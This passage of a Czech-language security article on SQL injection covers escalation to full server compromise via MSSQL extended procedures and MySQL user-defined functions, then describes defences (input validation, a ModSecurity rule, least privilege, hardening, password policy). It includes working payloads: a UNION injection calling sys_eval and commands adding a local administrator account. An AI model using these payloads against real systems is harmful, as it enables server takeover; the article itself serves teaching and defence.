Riziko zneužití této funkce je navíc zvýšeno faktem, že v případě MSSQL Serveru 2000 má privilegovaný uživatel ‘sa’ implicitně nastavené prázdné heslo. Detekce takového účtu s prázdným heslem v interní síti tak obvykle znamená rychlou a snadnou kompromitaci serveru až na úroveň lokálního administrátora systému Windows. 

	MSSQL funkce
	Popis

	xp_cmdshell
	Spouštění systémových příkazů

	xp_avaliablemedia
	Informace o discích

	xp_dirtree
	Informace o struktuře složek

	xp_enumdsn
	Enumerace Data Source Name

	xp_enumerrorlogs
	Čtení chybových logů

	xp_enumgroups
	Enumerace skupin

	xp_getfiledetails
	Informace o souboru

	xp_fixeddrives
	Zjištení místa na disku

	xp_loginconfig
	Nastavení bezpečnostních parametrů přihlášení

	xp_makecab
	Vytvoření archivu

	xp_ntsec_enumdomains
	Enumerace domén

	xp_regaddmultistring
	Vložení řetězce do registru

	xp_regdeletekey
	Smazání klíče z registru

	xp_regdeletevalue
	Smazání hodnoty klíče

	xp_regread
	Čtení registru

	xp_regremovemultistring
	Smazání řetězce z registru

	xp_regwrite
	Zápis do registru

	xp_regenumvalues
	Zobrazení hodnot registru

	xp_terminate_process
	Ukončení procesu


Tabulka 1: Výběr vestavěných funkcí MSSQL [4]
B. MySQL a User Defined Functions

User Defined Functions (UDF) nebo také uživatelsky definované funkce jsou vlastností MySQL umožňující implementaci a následné spouštění vlastních funkcí prostřednictvím dotazů jazyka SQL
.

Uživatelské funkce jsou implementovány v jazyce C a překládány do binární podoby. Jelikož databázový systém MySQL je na rozdíl od MSSQL možné provozovat na platformě Windows i unixových systémech, liší se typ binárního souboru implementujícího uživatelské funkce na základě platformy.
V případě platformy MS Windows jsou UDF podporovány ve formě dynamicky linkovaných knihoven (.dll) a v případě unixových systémů ve formě sdílených objektů (.so).

Uživatelsky definovanou funkci pro spouštění příkazů na úrovni operačního systému může útočník implementovat sám nebo využít již hotová řešení dostupná na Internetu
. Dále v textu bude předkládáno právě využití již hotové varianty a také fakt, že MySQL proces běží pod privilegovaným uživatelem (root, administrator).

Po kompilaci ať již do .dll či .so souboru je nutné knihovnu umístit na databázový server do lokace, kde bude korektně lokalizována procesem MySQL. V případě unixových systémů je možné použít adresář obsahující sdílené knihovny:
/usr/lib

V případě systémů MS Windows a MySQL verze nižší než 5.1.19 je možné .dll knihovnu umístit do adresáře bin nebo lib nacházejících se v základním instalačním adresáři MySQL. V případě verze MySQL vyšší nebo rovné 5.1.19 je nutné knihovnu umístit do adresáře specifikovaného interní konstantou plugin_dir. Toto umístění je možné vypsat prostřednictvím dotazu SHOW VARIABLES:

show variables like 'plugin_dir'
Nahrání knihovny do příslušné lokace je možné realizovat stejným postupem, jako byl uveden v kapitole o provádění akcí zápisu nad souborovým systémem databázového serveru. Jakmile je knihovna umístěna na server, je nutné funkce z knihovny zaregistrovat. V rámci knihovny lib_mysqludf_sys jsou implementovány následující funkce:
· sys_eval – spustí příkaz a vrátí jeho výstup

· sys_exec – spustí příkaz a vrátí jeho výstupní kód. 

· sys_get – přečte proměnnou prostředí

· sys_set  – nastaví proměnnou prostředí

Pro potřeby následujícího postupu bude využita pouze první z funkcí - sys_eval. Registrace funkce je v unixovém systému provedena prostřednictvím příkazu CREATE FUNCTION:
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'

Příkazem je vybráno jméno funkce ze sdílené knihovny a nastaven její návratový typ. V tomto případě je návratovým typem řetězec. Na platformě Windows je příkaz obdobný jen se změnou jména knihovny:

CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll'
Po zaregistrování funkce je možné funkci okamžitě použít:
SELECT sys_eval('whoami’)

Prostřednictvím SQL Injection by výše uvedený dotaz mohl být spuštěný následovně za pomocí konstrukce UNION:

http://example.com/?id=-1 UNION SELECT NULL, sys_eval('whoami’)

Pokud je MySQL spuštěno pod privilegovaným uživatelem, získává útočník v tomto bodě kompletní kontrolu nad serverem, ať již unixovým či běžícím pod operačním systémem MS Windows. Vytvoření lokální administrátorského účtu by pak probíhalo ekvivalentně s přechozím příkladem:

SELECT sys_eval(' net user ptest heslo1234 /add’)

SELECT sys_eval('net localgroup administrators ptest /add')

Provedení výše uvedeného postupu v prostředí databázového systému MySQL a skriptovacího jazyka PHP je možné až na příkaz zaregistrování funkce prostřednictvím příkazu CREATE FUNCTION. Tento příkaz nelze spustit v kombinaci s konstrukcí UNION a jak již bylo uvedené v kapitole o zřetězených funkcích, MySQL v kombinaci s PHP nepodporuje zřetězené dotazy. Útočník v tomto případě může postupovat například tím způsobem, že provede útok hrubou na hashe privilegovaných databázových uživatelů. Tyto hashe jsou uloženy v databázi mysql v tabulce user. Pokud se útočníkovi podaří kompromitovat některého z databázových uživatelů, může se pokusit připojit do databáze přímo. Pokud databázová služba nenaslouchá na portu dostupném útočníkovi, může do adresáře s webovou aplikací přidat vlastní skript s provedením databázového dotazu pro registraci funkce a tento skript následně spustit. Možností jak skrze SQL Injection dosáhnout kompromitace serveru je celá řada, výše nastíněný postup je jen jedním z množných.
Přestože tato kapitola pojednávala o MySQL, uživatelsky definované funkce jsou podporované taktéž databázovým systémem PostgreSQL a scénář uvedený výše je tak s drobnými obměnami možné realizovat i pod tímto DBMS.

VII. Obrana
V této kapitole budou uvedena bezpečnostní doporučení cílící na zmírnění až úplné odstranění rizik plynoucích z výskytu SQL Injection. Budou zde uvedena doporučení vedoucí eliminaci této zranitelnosti, ale také doporučení sloužící jako další úroveň obrany v případě, že útočník zranitelnost SQL Injecton v aplikace najde a zneužije.

A. Validace vstupů

Základním doporučením pro vyhnutí se (nejen) zranitelnosti SQL Injection je důsledná validace uživatelských vstupů [13]. Je nutné si uvědomit, že uživatelským vstupem nejsou pouze formulářová pole, ale veškeré informace, které putují směrem od uživatele do aplikace. Jedná se tedy o veškeré HTTP GET i POST parametry, hodnoty cookies i serverové hlavičky jako například User-Agent a další.
Uživatelský vstup je nutné upravit takovým způsobem, aby z něj byly odstraněny veškeré znaky, které jsou databázovým systémem brány jako řídící a zároveň je nutné kontrolovat, zda například vstup obsahuje pouze znaky z povoleného definičního oboru.

Z bezpečnostního hlediska je vhodnější provádět validace formou tzv. whitelistu, kdy je přesně specifikována množina znaků/hodnot, kterých může daný parametr nabývat (například hodnota parametru id by měla být složena pouze z číslic). Opakem tohoto přístupu je potom aplikace blacklistu, kdy je specifikována množina znaků, které se v hodnotě parametru nesmí objevit (například apostrof). Tento princip je však již ze své podstaty náchylnější na chyby, jelikož často není možné přesně vydefinovat veškeré škodlivé vstupy, které útočník může použít. Je nutné si uvědomit, že útočník může své vstupy zakódovat množstvím různých kódování (hexa, URL encoding, base64, Unicode, …) a vyspecifikovat tak množinu zakázaných vstupů může být velice obtížné až nemožné.

Metoda zajišťující validaci uživatelského vstupu by měla zahrnovat tyto fáze:

· Dekódování vstupů před vlastní validací

· Validace vstupu – délka, typ, syntaxe 

· Použití metody whitelist pro přípustné znaky namísto blacklist pro nepovolené znaky, nejlépe způsobem „akceptuj definované“ nic dalšího.
B. Web Application Firewall

Klasické firewally sloužící pro řízení a zabezpečení provozu na síťové a transportní vrstvě ISO/OSI modelu jsou nedílnou součástí každé větší sítě již více než dvě dekády. S rozmachem webových informačních systému a útoků na ně vznikají firewally operující na sedmé vrstvě ISO/OSI modelu, které kontrolují provoz na úrovni HTTP(s) komunikace. Tyto prostředky jsou označovány na webové aplikační firewally (Web Application Firewall - WAF).
Jednou z nejznámějších Open Source implementací WAF je ModSecurity
. ModSecurity může být použit v kombinaci s webovými servery Apache, IIS a nginx. ModSecurity je dodáván s předefinovanou sadou pravidel zahrnujících i útoky prostřednictvím SQL Injection. Pravidla jsou založena na regulárních výrazech, jedno z předdefinovaných pravidel základní množiny na obranu proti SQL Injection vypadá například takto:

SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "(?i:(\!\=|\&\&|\|\||>>|<<|>=|<=|<>|<=>|xor|rlike|regexp|isnull)|(?:not\s+between\s+0\s+and)|(?:is\s+null)|(like\s+null)|(?:(?:^|\W)in[+\s]*\([\s\d\"]+[^()]*\))|(?:xor|<>|rlike(?:\s+binary)?)|(?:regexp\s+binary))"  

Komerční WAF produkty zahrnují řešení společností F5, Cisco, Barracuda Networks či Citrix.
C. Princip nejnižších privilegií
Útok SQL Injection nemusí nutně veden s cílem kompromitace databázových dat, ale s cílem kompromitace celého serveru. Riziko zneužití zranitelnosti pro ovládnutí celého serveru však může být poměrně efektivně sníženo až eliminováno dodržením několika zásadních bezpečnostních doporučení.

Jak již bylo uvedeno v kapitole pojednávající o možnostech kompromitace databázového serveru prostřednictvím zranitelnosti SQL Injection, použití privilegovaného databázového uživatele (například účet ‘sa’ v případě MSSQL databáze) pro přístup k aplikačním datům je klasickým porušením principu nejnižších privilegií.

Princip nejnižších privilegií je v IT bezpečnosti obecně aplikovatelná zásada, která říká, že v jakékoliv situaci pro náš účel použijeme vždy nejmenší možná privilegia. V oblasti informačních systémů to jednoduše znamená fakt, že aplikační logika webové aplikace, portálu či tlustého klienta bude pro přístup k databázi používat databázového uživatele, který má co nejmenší privilegia, tedy takového, který má přístup k aplikačním datům, ale již například nemá oprávnění pro přístup k systémovým databázím, databázím případných jiných aplikací ani oprávnění pro akce prováděné nad souborovým systémem databázového serveru či možnost spouštět příkazy v rámci operačního systému databázového serveru.
Princip nejnižších privilegií však není doporučené uplatnit pouze ve vztahu Aplikace – Databáze, ale i ve vztahu Databáze – Operační systém. Samotná aplikace databázového systému by tak neměla být spouštěna pod privilegovaným uživatelem (administrator v systémech Windows a root v unixových systémech), ale pod vlastním dedikovaným uživatelem, majícím oprávnění v rámci souborového systému pouze k potřebným datům.
Toto opatření zajistí, že i pokud by se útočník dostal k možnosti spouštět příkazy operačního systému (například prostřednictvím funkce xp_cmdshell), mohl by “pracovat” pouze v prostoru vymezeném dedikovanému uživateli a již by nemohl přistupovat k systémovým souborům či dokonce vytvářet nebo editovat jiné uživatele v rámci operačního systému.

D. Bezpečnostní hardening DBMS
Ať již aplikace jakožto DBMS využívá MSSQL, Oracle, DB2, MySQL či jinou, každý dodavatel databázového systému uvádí základní bezpečností doporučení pro zvýšení odolnosti databázového systému vůči útoku. Aplikování těchto doporučení je obecně nazýváno jako bezpečnostní hardening. Klasickým prohřeškem vůči základnímu hardeningu může být například port s naslouchající databázovou službou vystavený do internetu [2]. Nejen, že se tímto rozšiřuje vektor útoků vůči databázi (útočník nemusí využít SQL Injection v aplikaci ale může přímo exploitovat zranitelnost v dané databázové službě), ale po úspěšně provedeném útoku typu SQL Injection, kdy útočník získá autentizační údaje databázového uživatele, se může pohodlně napřímo připojit do databáze, aniž by data musel poměrně složitě získávat prostřednictvím SQL Injection.
V případě MSSQL je pak například doporučeno zcela deaktivovat vestavěnou funkci xp_cmdshell pro všechny databázové uživatele. Spolu s ní je vhodné zakázat i další potenciálně nebezpečné funkce uvedené v tabulce 1. Dále je doporučeno deaktivování či přejmenování implicitního privilegovaného účtu ‘sa’, jelikož právě tento účet bude prvním cílem útočníka, který bude mít vzdálený přístup k naslouchajícímu portu databáze. 
Tak jako v případě jiného software i v případě databázových serverů se objevují chyby, které jsou následně opravovány bezpečnostními záplatami vydávanými dodavatelem. Proto je doporučené zavést důslednou bezpečnostní politiku a stanovit zodpovědnosti pro aplikaci bezpečnostních záplat (tzv. patchování) serverových databázových technologií [10].
V případě, že už se útočníkovi průnik podaří, je důležité mít přehled o tom, jakým způsobem toho docílil a jaké škody během útoku způsobil. Toho je možné dosáhnout i za pomoci správně nastaveného logování.

E. Silná politika hesel

Pokud už se útočník dostane do vnitřní sítě a je schopný přistupovat k databázové službě naslouchající na TCP portu, může vykonávat slovníkové útoky a útoky hrubou silou vůči databázovým účtům.
Pro snížení rizika, že se útočníkovi povede tímto způsobem kompromitovat některý z databázových účtů, je nutné implementovat silnou politiku hesel. Tato politika by měla sestávat z následujícího[2]:

· Délka hesla alespoň 8 znaků.

· Vynucení použití alfanumerických a speciálních znaků.

· Udržení historie alespoň 5 hesel.

· Expirace hesel po nejvýše 180 dnech.

· Zamknutí účtu po nejvýše deseti neúspěšných pokusech o přihlášení

Poslední z bodů se týká především neprivilegovaných databázových účtů. Zamykání privilegovaných účtů by mohlo způsobit Denial of Service (DoS) cíleným útokem na tyto účty.
VIII. Závěr
V článku byla představena jedna z nejnebezpečnějších zranitelností (nejen) webových informačních systémů - SQL Injection. Článek se zaměřoval na různé možnosti zneužití této zranitelnosti útočníkem a to od kompromitace databázových dat, provádění operací zápisu a čtení nad souborovým systémem databázového serveru přes využití SQL Injection k provedení útoku XSS, skenování portů v lokální síti až po kompletní kompromitaci serveru na úrovni operačního systému. V článku byly také uvedeny metody obrany proti jednotlivým typům zneužití SQL Injection i obecná bezpečností doporučení sloužící jako další úroveň obrany v případě, že útočník zranitelnost SQL Injection v aplikaci detekuje a zneužije.
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